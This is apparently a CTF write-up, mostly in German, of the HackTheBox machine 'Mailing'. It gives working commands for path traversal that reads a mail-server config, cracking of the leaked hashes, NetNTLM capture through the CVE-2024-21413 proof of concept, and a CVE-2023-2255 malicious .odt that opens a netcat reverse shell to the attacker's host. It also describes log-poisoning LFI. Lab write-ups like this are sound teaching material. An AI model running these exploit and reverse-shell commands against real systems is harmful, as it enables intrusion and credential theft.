themursalin/htb-mailing-a-complete-walkthrough
If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step.
Von Mursalin
Wenn du dich durch HackTheBox-Maschinen kämpfst, ist Mailing eine dieser Boxen, die dir wirklich etwas beibringt. Sie ist als 'Easy' eingestuft, läuft unter Windows und verknüpft einige reale Schwachstellen – einen Directory Traversal, einen Credential Leak, CVE-2024-21413 und einen LibreOffice-Makro-Exploit. Lass uns sie Schritt für Schritt durchgehen.
Wie immer beginnen wir mit einem nmap-Scan, um zu sehen, womit wir es zu tun haben:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
Die Ergebnisse zeigen einige offene Ports. Die Highlights:
mailing.htb)Der OS-Fingerprint deutet auf Windows 10 oder Server 2019 hin, und die IIS-Version bestätigt mindestens IIS 10. Ich notiere auch, dass die SMB-Nachrichtensignierung aktiviert, aber nicht erforderlich ist – für später merken.
Mail-Ports gibt es viele, aber sie werden wahrscheinlich Anmeldedaten benötigen. Der Webserver auf Port 80 ist der offensichtliche Ausgangspunkt.
Nachdem wir mailing.htb zu /etc/hosts hinzugefügt haben, sieht die Seite wie ein E-Mail-Hosting-Unternehmen aus, das auf hMailServer basiert. Nichts Besonderes an der Oberfläche – ein 'About'-Bereich, ein Team-Bereich mit drei Namen (Ruy Alonso, Maya Bendito, Gregory Smith) und ein 'Download Instructions'-Button.
Der Download-Button zeigt auf:
http://mailing.htb/download.php?file=instructions.pdf
Dieser file=-Parameter ist sofort verdächtig. Testen wir ihn.
Ich habe ffuf ausgeführt, um nach Subdomains zu suchen – nichts Interessantes kam zurück. Dann feroxbuster für Directory Brute Forcing, auch nichts Neues außer download.php. Also konzentriert sich unsere ganze Aufmerksamkeit auf diesen einen Endpunkt.
Testen des file-Parameters auf Path Traversal:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
Und es funktioniert – wir bekommen die Windows-Hosts-Datei zurück. Die App hängt im Grunde nur einen Basispfad vor alles, was wir angeben, und ruft file_get_contents() auf. Keine Bereinigung, keine Einschränkung. Der Quellcode von download.php bestätigt dies, wenn wir ihn direkt lesen:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Jetzt haben wir beliebiges Dateilesen auf einem Windows-Rechner. Nutzen wir es.
hMailServer speichert seine Konfiguration in hMailServer.ini. Nach einiger Recherche befindet sich die Datei unter:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Auslesen über unseren Traversal:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
Die Ausgabe enthält:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Zwei MD5-Hashes. Ich gebe sie in CrackStation ein:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorAlso haben wir das Administratorkennwort für hMailServer. Der Versuch, es gegen SMB als Windows-Benutzer administrator zu verwenden, schlägt fehl – es ist kein lokales Kontokennwort, sondern nur das Admin-Kennwort des Mail-Dienstes. Aber es funktioniert für die Authentifizierung beim SMTP-Dienst, was genau das ist, was wir brauchen.
Jetzt müssen wir als echter Benutzer Fuß fassen. Die Seite erwähnt, dass der verwendete Mail-Client Windows Mail ist (basierend auf dem Installationsanleitungs-PDF). Zeit, nach bekannten Schwachstellen zu suchen.
CVE-2024-21413 ist eine Remote-Codeausführung-Schwachstelle in Microsoft Outlook und Windows Mail. Der Fehler liegt in der Art und Weise, wie die Clients file://-Protokoll-URLs in E-Mail-Texten verarbeiten. Normalerweise werden Sicherheitsbeschränkungen für verschiedene Protokolle angewendet. Forscher fanden jedoch heraus, dass diese Beschränkungen stillschweigend aufgehoben werden, wenn eine URL mit !irgendwas endet. Wenn ein Benutzer eine E-Mail mit einem solchen Link öffnet oder auch nur in der Vorschau betrachtet, versucht der Client automatisch, sich beim SMB-Server des Angreifers zu authentifizieren – und übergibt dabei einen NetNTLMv2-Hash.
Es gibt einen soliden PoC auf GitHub von xaitax. Ich klone ihn und führe ihn mit diesen Parametern aus:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
Die E-Mail wird erfolgreich gesendet. In der Zwischenzeit läuft Responder auf meiner Angriffsmaschine, um die eingehende Authentifizierung abzufangen:
sudo /opt/Responder/Responder.py -I tun0
Etwa eine Minute später öffnet Mayas Client die E-Mail und Responder fängt ihren NetNTLMv2-Hash ein. Ich knacke ihn mit hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Passwort geknackt: m4y4ngs4ri
Mit Mayas Anmeldedaten verbinde ich mich mit Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Wir sind drin. Die User-Flag liegt auf Mayas Desktop.
Zeit, nach einem Weg zu root zu suchen. Beim Durchstöbern des Systems gibt es eine Freigabe namens Important Documents und LibreOffice ist installiert. Dies ist ein starker Hinweis auf CVE-2023-2255.
CVE-2023-2255 betrifft LibreOffice-Versionen vor 7.4.7 und 7.5.3. Sie missbraucht 'schwebende Rahmen' – verknüpfte externe Dateien in .odt-Dokumenten. Die Schwachstelle führt dazu, dass diese Rahmen geladen werden, ohne den Benutzer um Erlaubnis zu fragen, und der Inhalt kann ein Makro sein, das beim Laden des Dokuments ausgeführt wird.
Der PoC von elweth-sec erzeugt ein bösartiges .odt, das einen Shell-Befehl einbettet. Die Dokumentstruktur bettet ein <script>-Tag in content.xml ein, das ausgelöst wird, sobald LibreOffice die Datei öffnet.
Ich generiere eine Reverse-Shell-Nutzlast:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Dann lade ich sowohl die .odt-Datei als auch nc64.exe auf die SMB-Freigabe Important Documents mit Mayas Anmeldedaten hoch:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Von Mayas WinRM-Shell aus kopiere ich nc64.exe nach C:\ProgramData, damit das Makro sie finden kann:
copy "\Important Documents\nc64.exe" nc64.exe
Nach ein bis zwei Minuten öffnet etwas auf der Box das Dokument (wahrscheinlich eine automatisierte geplante Aufgabe), und ich fange eine Shell an meinem netcat-Listener ab:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Wir laufen als localadmin – und die Root-Flag liegt auf dem Desktop.
Die Box wurde am 15. Mai 2024 gepatcht – nur 11 Tage nach der Veröffentlichung – weil die ursprüngliche download.php tatsächlich PHP's include() anstelle von file_get_contents() verwendete. Das verwandelte ein einfaches Dateilesen in eine vollständige Local File Inclusion-Schwachstelle, was bedeutete, dass jeder PHP-Code in einer lesbaren Datei ausgeführt werden würde.
Der unbeabsichtigte Weg bestand darin, die SMTP-Protokolle von hMailServer zu vergiften (durch Verbindung über Telnet und Injizieren von PHP im HELO-Befehl), dann diese Protokolldatei über die LFI einzubinden, um Codeausführung als defaultapppool zu erreichen. Von dort aus SeImpersonatePrivilege + GodPotato = SYSTEM. Eine völlig andere Route zu root.
Die Angriffskette auf Mailing sieht wie folgt aus:
download.phphMailServer.ini → MD5-Admin-Hash knackenDiese Box leistet großartige Arbeit, indem sie reale CVEs auf eine glaubwürdige Weise miteinander verknüpft. Die Ausbeutungsschritte sind nicht übermäßig komplex, aber man muss verstehen, was man in jeder Phase tut. Auf jeden Fall einen erneuten Besuch wert, wenn man für das OSCP lernt.
Danke fürs Lesen! Folge mir auf Medium für weitere HTB-Writeups und CTF-Inhalte.
— Mursalin